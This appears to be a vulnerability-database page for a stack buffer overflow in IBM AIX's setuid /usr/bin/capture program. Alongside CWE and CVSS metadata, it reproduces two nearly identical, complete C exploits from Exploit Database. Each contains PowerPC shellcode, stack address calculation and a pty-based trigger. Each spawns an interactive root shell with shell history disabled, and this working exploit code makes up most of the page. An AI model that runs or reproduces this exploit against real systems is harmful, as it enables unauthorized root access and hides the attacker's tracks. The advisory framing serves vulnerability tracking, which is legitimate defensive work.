Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.9 |
|
AV:L/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 30399
Publication date : 2007-07-25 22h00 +00:00
Author : qaaz
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/25075/info
IBM AIX is prone to a local, stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input to a program that is installed setuid-superuser.
Local attackers can exploit this issue to execute arbitrary code with superuser privileges. Failed attacks will likely cause denial-of-service conditions.
/* 07/2007: public release
*
* qaaz@aix:~$ ./aix-capture
* --------------------------------
* AIX capture Local Root Exploit
* By qaaz
* --------------------------------
* bash: no job control in this shell
* bash-3.00#
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/select.h>
#define TARGET "/usr/bin/capture"
#define VALCNT 40
#define MAX(x,y) ((x) > (y) ? (x) : (y))
#define ALIGN(x, y) (((x) + (y) - 1) / (y) * (y))
unsigned char qaazcode[] =
"\x60\x60\x60\x60\x60\x60\x60\x60"
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7e\xa8\x02\xa6\x3a\xb5\x01\x01"
"\x88\x55\xff\x5b\x3a\xd5\xff\x1b"
"\x7e\xc8\x03\xa6\x4c\xc6\x33\x42"
"\x44\xff\xff\x02\x38\x75\xff\x5f"
"\x38\x63\x01\x01\x88\x95\xff\x5d"
"\x38\x63\x01\x02\x38\x63\xfe\xff"
"\x88\xa3\xfe\xff\x7c\x04\x28\x40"
"\x40\x82\xff\xf0\x7c\xa5\x2a\x78"
"\x98\xa3\xfe\xff\x88\x55\xff\x5c"
"\x38\x75\xff\x5f\x38\x81\xff\xf8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x4b\xff\xff\xbd\xb8\x05\x7c\xff";
void shell(int p1[2], int p2[2])
{
ssize_t n;
fd_set rset;
char buf[4096];
for (;;) {
FD_ZERO(&rset);
FD_SET(p1[0], &rset);
FD_SET(p2[0], &rset);
n = select(MAX(p1[0], p2[0]) + 1,
&rset, NULL, NULL, NULL);
if (n < 0) {
perror("[-] select");
break;
}
if (FD_ISSET(p1[0], &rset)) {
n = read(p1[0], buf, sizeof(buf));
if (n <= 0) break;
write(p1[1], buf, n);
}
if (FD_ISSET(p2[0], &rset)) {
n = read(p2[0], buf, sizeof(buf));
if (n <= 0) break;
write(p2[1], buf, n);
}
}
}
/* just because you don't understand it doesn't mean it has to be wrong */
ulong get_addr(char *argv[], char *envp[], char *args[], char *envs[])
{
ulong top, len, off;
int i;
len = 0;
for (i = 0; argv[i]; i++)
len += strlen(argv[i]) + 1;
for (i = 0; envp[i]; i++)
len += strlen(envp[i]) + 1;
top = (ulong) argv[0] + ALIGN(len, 8);
len = off = 0;
for (i = 0; args[i]; i++)
len += strlen(args[i]) + 1;
for (i = 0; envs[i]; i++) {
if (!strncmp(envs[i], "EGG=", 4))
off = len + 4;
len += strlen(envs[i]) + 1;
}
while (off & 3)
strcat(envs[0], "X"), off++, len++;
return top - ALIGN(len, 4) + off;
}
int main(int argc, char *argv[], char *envp[])
{
char pad[16] = "PAD=X", egg[512], bsh[128], buf[1024];
char *args[] = { TARGET, "/dev/null", NULL };
char *envs[] = { pad, bsh, egg, NULL };
int ptm, pts, pi[2];
pid_t child;
sprintf(egg, "EGG=%s/proc/%d/object/a.out|", qaazcode, getpid());
sprintf(bsh, "SHELL=/proc/%d/object/a.out", getpid());
if (!envp[0]) {
dup2(3, 0);
setuid(geteuid());
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
execl("/bin/sh", "sh", "-i", NULL);
perror("[-] execl");
exit(1);
} else if (argc && !strcmp(argv[0], "bsh")) {
char i, ch;
ulong addr = get_addr(argv, envp, args, envs);
printf("\x1b[");
for (i = 0; i < VALCNT; i++)
printf("%lu;", addr);
printf("0A\n");
fflush(stdout);
while (read(0, &ch, 1) == 1)
write(1, &ch, 1);
exit(0);
}
printf("--------------------------------\n");
printf(" AIX capture Local Root Exploit\n");
printf(" By qaaz\n");
printf("--------------------------------\n");
if (pipe(pi) < 0) {
perror("[-] pipe");
exit(1);
}
if ((ptm = open("/dev/ptc", O_RDWR)) < 0 ||
(pts = open(ttyname(ptm), O_RDWR)) < 0) {
perror("[-] pty");
exit(1);
}
if ((child = fork()) < 0) {
perror("[-] fork");
exit(1);
}
if (child == 0) {
dup2(pts, 0);
dup2(pts, 1);
dup2(pts, 2);
dup2(pi[0], 3);
execve(TARGET, args, envs);
perror("[-] execve");
exit(1);
}
close(pi[0]);
close(pts);
sleep(1);
read(ptm, buf, sizeof(buf));
write(ptm, " ", 1);
shell((int[2]) { 0, pi[1] }, (int[2]) { ptm, 1 });
kill(child, SIGTERM);
waitpid(child, NULL, 0);
return 0;
}
Exploit Database EDB-ID : 4231
Publication date : 2007-07-26 22h00 +00:00
Author : qaaz
EDB Verified : Yes
/* 07/2007: public release
* IBM AIX <= 5.3 sp6
*
* AIX capture Local Root Exploit
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/select.h>
#define TARGET "/usr/bin/capture"
#define VALCNT 40
#define MAX(x,y) ((x) > (y) ? (x) : (y))
#define ALIGN(x,y) (((x) + (y) - 1) / (y) * (y))
unsigned char qaazcode[] =
"\x60\x60\x60\x60\x60\x60\x60\x60"
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7e\xa8\x02\xa6\x3a\xb5\x01\x01"
"\x88\x55\xff\x5b\x3a\xd5\xff\x1b"
"\x7e\xc8\x03\xa6\x4c\xc6\x33\x42"
"\x44\xff\xff\x02\x38\x75\xff\x5f"
"\x38\x63\x01\x01\x88\x95\xff\x5d"
"\x38\x63\x01\x02\x38\x63\xfe\xff"
"\x88\xa3\xfe\xff\x7c\x04\x28\x40"
"\x40\x82\xff\xf0\x7c\xa5\x2a\x78"
"\x98\xa3\xfe\xff\x88\x55\xff\x5c"
"\x38\x75\xff\x5f\x38\x81\xff\xf8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x4b\xff\xff\xbd\xb8\x05\x7c\xff";
void shell(int p1[2], int p2[2])
{
ssize_t n;
fd_set rset;
char buf[4096];
for (;;) {
FD_ZERO(&rset);
FD_SET(p1[0], &rset);
FD_SET(p2[0], &rset);
n = select(MAX(p1[0], p2[0]) + 1,
&rset, NULL, NULL, NULL);
if (n < 0) {
perror("[-] select");
break;
}
if (FD_ISSET(p1[0], &rset)) {
n = read(p1[0], buf, sizeof(buf));
if (n <= 0) break;
write(p1[1], buf, n);
}
if (FD_ISSET(p2[0], &rset)) {
n = read(p2[0], buf, sizeof(buf));
if (n <= 0) break;
write(p2[1], buf, n);
}
}
}
/* just because you don't understand it doesn't mean it has to be wrong */
ulong get_addr(char *argv[], char *envp[], char *args[], char *envs[])
{
ulong top, len, off;
int i;
len = 0;
for (i = 0; argv[i]; i++)
len += strlen(argv[i]) + 1;
for (i = 0; envp[i]; i++)
len += strlen(envp[i]) + 1;
top = (ulong) argv[0] + ALIGN(len, 8);
len = off = 0;
for (i = 0; args[i]; i++)
len += strlen(args[i]) + 1;
for (i = 0; envs[i]; i++) {
if (!strncmp(envs[i], "EGG=", 4))
off = len + 4;
len += strlen(envs[i]) + 1;
}
while (off & 3)
strcat(envs[0], "X"), off++, len++;
return top - ALIGN(len, 4) + off;
}
int main(int argc, char *argv[], char *envp[])
{
char pad[16] = "PAD=X", egg[512], bsh[128], buf[1024];
char *args[] = { TARGET, "/dev/null", NULL };
char *envs[] = { pad, bsh, egg, NULL };
int ptm, pts, pi[2];
pid_t child;
ulong addr;
sprintf(egg, "EGG=%s/proc/%d/object/a.out|", qaazcode, getpid());
sprintf(bsh, "SHELL=/proc/%d/object/a.out", getpid());
addr = get_addr(argv, envp, args, envs);
if (!envp[0]) {
dup2(3, 0);
setuid(geteuid());
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
execl("/bin/sh", "sh", "-i", NULL);
perror("[-] execl");
exit(1);
} else if (argc && !strcmp(argv[0], "bsh")) {
char i, ch;
printf("\x1b[");
for (i = 0; i < VALCNT; i++)
printf("%lu;", addr);
printf("0A\n");
fflush(stdout);
while (read(0, &ch, 1) == 1)
write(1, &ch, 1);
exit(0);
}
printf("--------------------------------\n");
printf(" AIX capture Local Root Exploit\n");
printf(" By qaaz\n");
printf("--------------------------------\n");
if (pipe(pi) < 0) {
perror("[-] pipe");
exit(1);
}
if ((ptm = open("/dev/ptc", O_RDWR)) < 0 ||
(pts = open(ttyname(ptm), O_RDWR)) < 0) {
perror("[-] pty");
exit(1);
}
if ((child = fork()) < 0) {
perror("[-] fork");
exit(1);
}
if (child == 0) {
dup2(pts, 0);
dup2(pts, 1);
dup2(pts, 2);
dup2(pi[0], 3);
execve(TARGET, args, envs);
perror("[-] execve");
exit(1);
}
close(pi[0]);
close(pts);
sleep(1);
read(ptm, buf, sizeof(buf));
write(ptm, " ", 1);
shell((int[2]) { 0, pi[1] }, (int[2]) { ptm, 1 });
kill(child, SIGTERM);
waitpid(child, NULL, 0);
return 0;
}
// milw0rm.com [2007-07-27]
Products Mentioned
Configuraton 0
Ibm>>Aix >> Version 5.2.0
Ibm>>Aix >> Version 5.3
References